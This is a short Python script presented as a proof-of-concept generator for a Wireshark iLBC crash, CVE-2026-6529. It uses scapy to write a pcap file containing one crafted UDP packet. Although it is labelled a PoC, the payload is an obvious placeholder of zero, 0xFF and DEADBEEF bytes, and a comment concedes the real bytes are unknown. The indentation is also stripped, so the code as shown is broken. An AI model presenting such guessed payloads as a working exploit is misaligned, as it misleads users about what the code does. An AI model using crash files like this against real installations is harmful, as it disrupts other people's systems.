The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
PoC Generator for CVE-2026-6529
Generates a pcap file with a malformed payload to trigger the iLBC crash.
"""
from scapy.all import *
import sys
def generate_poc(filename):
# Craft a UDP/RTP packet often associated with iLBC traffic
# The payload contains a specific pattern likely to trigger the parsing bug.
# Note: Exact bytes depend on the specific vulnerability disclosure.
malformed_payload = b"\x00" * 12 + b"\xFF" * 4 + b"\xDE\xAD\xBE\xEF"
packet = IP(dst="127.0.0.1") / UDP(sport=5004, dport=5004) / Raw(load=malformed_payload)
wrpcap(filename, [packet])
print(f"[+] PoC file generated: {filename}")
print("[+] Open this file in Wireshark (vulnerable version) to reproduce the crash.")
if __name__ == "__main__":
generate_poc("cve_2026_6529_crash.pcap")